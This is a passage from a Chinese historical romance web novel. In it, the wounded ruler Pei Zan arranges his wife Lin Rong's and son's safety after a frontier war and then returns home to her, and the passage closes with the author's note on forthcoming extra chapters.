“此为封后册书,以及传位给玉奴的遗诏……若你有意,可命郑家襄助,入主西魏后宫,帮扶玉奴即位登基。但我知道,你的能耐不够,掌不了社稷,心肠又软,遗诏在手,无疑是招人垂涎,多添一条死路,不如焚毁了事。” 玉奴倒是个聪慧的,只可惜太过年幼,羽翼未丰,若他御极,定然举步维艰。 裴瓒一死,那些窃权谋私的乱臣贼子不会允许裴家留后。 裴瓒的儿子,便是裴家兵将的火种,星火之焰就足以燎原。 若裴嘉树活着,裴家兵马便不会归降新君,将会永远被世家权贵忌惮。 没人帮扶林蓉,称王成帝这条路必然十分艰难,林蓉掌控不了西魏的局面,也养活不了裴嘉树,他的妻儿必死无疑。 “林蓉,除此之外,我还为你备了第二条路,倘若你无意权势,我会让杜衡护送你们母子逃亡南地,远渡出海……我备了渡船与金银,能保你下半辈子衣食无忧,又有亲卫护身,无论如何,你都能活下来。” 林蓉听着裴瓒尽善尽美的安排,心里愈发不安。 犹豫很久,林蓉终于问出了口:“你不能退兵回凉州吗?你是西魏君主,何必御驾亲征……” 裴瓒轻笑一声:“此时退兵,无疑是将吃进去的地盘再吐出来,待他们攻到凉州家门口,还不是要打?到时候戎狄联合西域,兵马更为强盛了,你指望朝廷那些蠹虫软蛋帮我御敌,守我西魏国土?既是我的国,也只能我自己护。” 林蓉无言以对。 裴瓒的志向倒没那么远大,说不上是为国为民,冲锋陷阵,在所不惜。无非是在其位谋其政,既为君主,便守住他的国土、他的地盘、他的家人。 许久之后,林蓉说:“你这些部署天衣无缝,说给我听……倒像是存了死志,让我心里害怕。” “不过是未雨绸缪,我一贯如此。” 裴瓒捋过林蓉鬓边的发丝,勾到耳后,“莫怕,我有妻有儿,舍不得死。不过是早早留下退路,我前线迎敌,方能安心。” 也是这个道理。 林蓉也不知该说什么了,她似是很忙的样子,帮裴瓒翻了翻衣袍,又看了看香囊。 可甲胄崭新,香囊针脚细密,没什么需要她缝补的地方。 无奈之下,林蓉只能烘热一个胡饼,用油纸包好,给裴瓒带去路上吃。 裴瓒难得被林蓉伺候一回,倒有点新鲜,上马之前,他扣住林蓉的后脑勺,同她讨了个吻。 小夫妻刚见面,又要离别,一个唇齿相依的吻也变得格外缠绵。 裴瓒没有吻得很深。 不过须臾,裴瓒就松了手。 林蓉牵着裴嘉树,身边还有一只夹着尾巴瑟瑟发抖的大黄,以及抖了抖耳朵的芝麻。 一家人目送裴瓒离开。 墨羽扬鬃奔去,溅起一地飞雪。 裴瓒的背影隐入雾霭浓重的深山,渐渐看不清楚。 唯有腰上那一条红绸迎风猎猎,不断飘动。 那一抹红丝刺目耀眼,胜过万千百姓家黏在大门两旁的春贴对子。 亦好似月老垂落人间的红线。 自从裴瓒那一夜走后,林蓉便很久没能睡好觉了。 一旦她入睡,很快就会看到裴瓒跪在尸横遍野的大漠里,他屈膝扶剑,苟延残喘,满脸都是狰狞血痕。 明明最为意气风发的男人,此时却弃马跪地,倒在了莽莽黄沙里。 裴瓒的眼珠子发木,眸光消失,许久不曾动过。 唯有垂下来的一只手,掌心置着一只红艳如血的香囊。 香囊上,“平安”二字染血,触目惊心。 …… 林蓉尖叫一声,惊醒过来。 裴嘉树揉揉眼睛,小声问她怎么了。 林蓉心跳不止,整个胸腔都蒙了一层牛皮鼓,闷闷地响。她擦去额头的汗,看了一眼懵懂无知的小孩,指腹轻抚他那双肖似父亲的凤眼,摇了摇头。 “没事,玉奴继续睡吧。” 又过了十多天,冯叔也被杜衡送到了林蓉的家宅。 “老奴往后就跟着夫人、小公子了。” 冯叔笑眯眯地道,一副与有荣焉的模样。 他心里明白,能被杜衡送来的人,都是裴瓒最为信赖的人,能被主子信任,是他的福分! 林蓉看到冯叔也很高兴,虽然近日没怎么出门,但家里的大缸也是囤了冬菜、羊肉的。 林蓉把熬好的羊肉汤送到张婶娘、杨峰家中,又翻出锅子,和冯叔一齐坐下,用羊肉汤烫菜吃。 裴嘉树的口味当真随了林蓉,竟连膻味重的羊下水也吃,林蓉给他烫了几块羊肝、几片羊心,还有温棚种出来的冬葵菜。 裴嘉树吃了几口就犯困,林蓉领他洗漱,先把小孩哄睡了。 再度回到饭桌上,冯叔已经用小炉子热上米酒。 今日吃得多,喝得多,冯叔谈兴很高,竟和林蓉说起了裴瓒少时的事。 “老奴自小就在大少爷身边伺候……大少爷小时候也不是这般成日板着一张脸的。是他姨娘下手太狠了,只要大少爷一笑,她就拿戒尺荆条打他,才三四岁的年纪,小公子那般大,腿上胳膊上没一块好肉。” 因裴瓒的生母每日郁郁寡欢,她便见不得儿子欢喜,只觉得儿子肖父,也是过来愚弄笑话她的。 林蓉确实不知裴瓒少时还有这样一段往事,印象里,她一见到裴瓒,此人已是不苟言笑,刀枪不入的模样,她压根儿没想过他也有弱小无能的时候,也会哭也会笑。 “后来,大少爷被大夫人养了去。大房就这么一个孩子,自然不敢懈怠,大少爷终日只能被困后宅里看书,那些堂兄弟、表姐妹来家中玩闹,他却寸步不能迈出书房,若是几缸水没有练完,大夫人也会罚他……” “要让一个七八岁的孩子听话,后宅手段可多着呢,不打不骂,单是握雪冻伤再浸热水,一冷一热,指尖上浮起的刺痛感便让人受不了。大夫人用这种棍棒加大枣的法子,终是逼得大少爷千依百顺,也让他知道,想要御下,手段不狠,便不能活……” 此后,裴瓒就变了。 他不笑也不怒,不会怜悯任何人,也不会倚仗任何人的好心。 他要在这样腌臜险恶的后宅里活下去,要下人们听话,不藏坏心,只能让人知道伤他的代价,定会痛苦千倍万倍……如此令人望而生畏,裴瓒才能在本就待他不善的人间苟活。 林蓉良久无言,心中慨叹万千。 原来,恶鬼也不是生来便喜欢啖食凡人血肉。 原来,恶鬼堕魔前,也只是肉眼凡胎的婴孩。 在这一刻,林蓉竟觉得,她与裴瓒也有相似之处。 只是他被囚于家宅,困于皇城,而她早已挣脱桎梏,有了自由。 裴瓒没有见过外面的世界,也不知那些稀松平常的市井小事有多少趣味。 她可以带他去尝街头小食、带他去夜游土城集市、带他去山谷草原,一边牧马一边听风露宿……不管他喜不喜,凡事总要多试试才知道。 林蓉愿意与裴瓒有个日后,只待他凯旋那天。 三个月过去,昔日繁荣的土楼,如今早已破败不堪,遍地都是碎瓦沙砾,尸骨鲜血。 西域御敌的战役总算是落下帷幕,裴瓒招募胡夷壮丁,行兵布阵,利用塞外小国盛产的精铁钢刀,护城杀敌,摧坚陷阵。 胡魏齐心协力,总算将外敌逐出家园。 北戎与吐蕃被裴瓒的兵马打得节节败退,死伤无数,至少要休养五年,方能再起战乱。 此战大捷,胡民百姓欢欣雀跃,感激涕零,不但对裴瓒所住牙帐的方向顶礼膜拜,还自发为裴瓒塑造战神金身,日夜焚香,以求家宅安宁。 裴瓒得知此事,气得发笑,半点不觉感激,只觉晦气……哪有活人吃香火的?这不是咒他去死么? 但裴瓒看了一眼伤症难愈的右手,想到前几日的大战,他挥剑迎敌,却第一次被打落长剑。 护身寒剑深深扎进沙地…… 若非裴瓒好胜,翻身下马,强撑起一口气,横剑在前,猛然屠下胡将的人头,他当真要在麾下兵卒面前颜面尽失。 裴瓒忍着肩臂的锥心痛症,取匕首剜去腐肉,再上药包扎,取出那一只林蓉送的平安香囊。 医工说了,裴瓒此次肩伤溃烂,早已邪风侵体,伤及心腑,若是伤口仍不能愈,怕是时日无多。 “命不久矣……” 裴瓒蜷紧手掌,目露冷色。 难怪他近日有些心力不济,原是死期将至么? 裴瓒想了想,又微扬嘴角。笑意稍纵即逝,比薄雪消融得还快。 从前不知自己这般贪生怕死,想到要埋进黄土里,竟也有几分不舍。 裴瓒单手撑榻,起了身。 不过一记呼哨,他便将两只信鹰召进帐中。 趁着他还留有一口气,总得给林蓉和玉奴安排好行程,待他死了,西魏变得乱糟糟一团,他就难保妻儿的性命了。 虽然不能死在林蓉身边,到底是一桩憾事,但裴瓒怨气重,来日化鬼,也能在奈何桥上占山为王,盘踞个十年百年。 且等等他吧。 “去吧。”裴瓒扬手,放飞信鹰。 鹰隼昂首挺胸,展翅高飞。 裴瓒目送黑鹰离去,任它自由自在,翱翔天地间。 这只名叫酸枣的鹰隼聪慧忠心,又只认裴嘉树为主。 酸枣会避开艰险厄境,顺利将那一枚平安香囊,送还给林蓉。 待林蓉收到香囊的时候,已是二月初。 冬雪消融,万物复苏。翠山黛峦,山中一蓬蓬杏花、梨花,竞相开放,正是花香馥郁的好时节。 御戎的捷报传进凉州,各家燃烟放炮,庆贺魏军胜利,百姓们与有荣焉,骄傲裴瓒用兵如神,远在胡域也能扬我国威。 杨峰、张婶娘他们也高兴,一家平安,无灾无痛,便是幸福。 他们议论纷纷,还想着夜里烧羊肉庆贺一番太平盛世。 林蓉没有凑热闹,她待在屋里,久久不曾出门。 裴嘉树又长大一岁,胆子变大,闹着要骑芝麻逛街,林蓉不曾阻拦,只让冯叔在旁看顾,以免小孩跌落马背,摔伤手脚。 林蓉抓着那一只杜衡送来的香囊,心里思索杜衡说的话——“夫人,陛下不日后便要返城,劳您早些做好决定。若是不愿留城,那就早早跟着我等奔赴南地,远渡出海。” 最起初,林蓉没明白过来杜衡的意思……裴瓒不是战胜了么?为何还要逼她做好决定? 待林蓉看到那一只“平安”香囊,她终于懂了裴瓒的部署。 裴瓒快死了,他不过强撑一口气,想着先给妻儿留下一条生路。 林蓉不知该说什么好,她本以为自己铁石心肠,就算裴瓒倒在血泊里,她也不会有半分心软。 可她抓着那只泛旧褪色的香囊,鼻尖竟也有几分酸涩。 “他是不是右臂有伤啊?我见他右手无力,想来伤重……” 那日,裴瓒用左手来抱儿子,林蓉就猜出一二。 但他不说,她就没问。 林蓉以为祸害遗千年,裴瓒没那么容易死。 可他到底是人,会痛、会伤、会鲜血淋漓,有朝一日他也会咽气,化作白骨,深埋进地里。 杜衡没说话,但他惊讶于林蓉的敏锐。 林蓉明白了,她道:“出海吧。” 唯有如此,她才能保住玉奴的性命。 林蓉不通国政,和那些官场老油条斗,她定会落于下风,不如尽早退场,带着孩子在外谋个生路。 林蓉抓住那一只香囊,仔细端详了一会儿。 香囊一直挂在裴瓒腰上,佩戴久了,起了毛边,总有磨损。这一块绸布旧了,布面却很干净,没有染血,也没有弄脏。 这般细致用心,不知裴瓒如何护的它。 半个月后,林蓉又梦到了许多年前的雪夜。 她还是伤痕累累,遍体鳞伤的孩童,她引颈就戮,跪在雪地里受刑。 一记记鞭子落在林蓉的肩背,溅出的血液被霜雪凝住,变成了一滴滴红色的冰渣子。 一辆青帷马车停在她的面前,车内的男人玉指撩帘,青袍拂地,是十五岁的裴瓒。 裴瓒无情无欲,亦无怜悯。 他对林蓉皱皱眉,不过是看到了她满身脏污血气。 “除夕不见血,莫要伤人。” 林蓉听到裴瓒清冷低沉的嗓音,误以为他是济世救民的观世音菩萨。 佛陀近在咫尺,菩萨悲悯世人。 林蓉下意识伸出手,揪住了他的衣袍。 女孩瘦弱的手指抓脏了那一件青衫,染上星星点点的血迹。 “裴瓒……” 林蓉不知道哪里来的力气,哪来的记忆。 她深吸一口气,屏住呼吸,隔着茫茫风雪,大喊出声:“裴瓒!” 女孩的嗓音凄厉,撕心裂肺。 哗啦——! 霜雪止住,天地间一片寂静。 裴瓒不再朝裴府走去,他的心脏裂开了一道缝隙。 他任林蓉牵制,任林蓉扯衣,他没有搡开她。 雪又开始落下,一片片雪絮在空中飞舞,柔美如同杏花,如细小的尘埃。 檀香浓重,钻入林蓉的鼻腔。 林蓉忽然被巨大的难过淹没,她被那股诡谲的浓香吞噬,她紧紧抓住男人的衣袍,手指越缩越紧,怎样都不肯松手。 “裴瓒……不要走。” 檀香仍留在鼻尖,愈发鲜活,愈发细腻。 林蓉似是感知到什么,她竟从梦里睁开了眼。 下一刻,林蓉抬头,竟看到一张苍白如雪的俊脸。 她疑心是梦,不敢动弹。 眼前呆呆傻傻的妻子,恰好取悦了男人。 裴瓒薄唇微翘,凤眸含笑,他横抱起林蓉,低声问她:“梦里也在想我?” 林蓉看着那一张憔悴的脸,她的手指颤抖,肩背战栗,她轻掐了一下腿肉,确认眼前并非幻梦…… 林蓉莫名其妙落泪,她的鼻尖发红,手掌捧住裴瓒削瘦的下颌,轻轻摩挲两下,感受男人发冷的体温。 “你怎么……回来了。” 她还没来得及走呢。 裴瓒扬唇,用那只尚且有力的左臂,轻抚上林蓉的脸,“我这辈子还是做不得好人……比起孤零零死去,我更想死在你身边。” 如此便能让林蓉记得他,惦念他,永远不会忘了他。 林蓉眼泪滚落,她被裴瓒气笑,心里既难过又无奈:“多谢你回来……总归没有食言。” 回家就好,无论是死是活,又有什么紧要。 裴瓒轻叹一声,拥紧了林蓉,如获至宝。 他亦难得感慨,竟说出一句:“裴某也是命好,这一次回家,夫人没有再逃。” (正文完) 作者有话说:想了想,还是想停在这里,后面番外是继续延续我们的正文的故事,不是纯番外,就是一家三口的日常。安心,祸害遗千年,裴瓒死不了~ 但是番外我可能会周四继续更新,大家稍微等一等我吧!如果提前更,那就当惊喜了…… 很可能下周写完番外,咱们就完结了~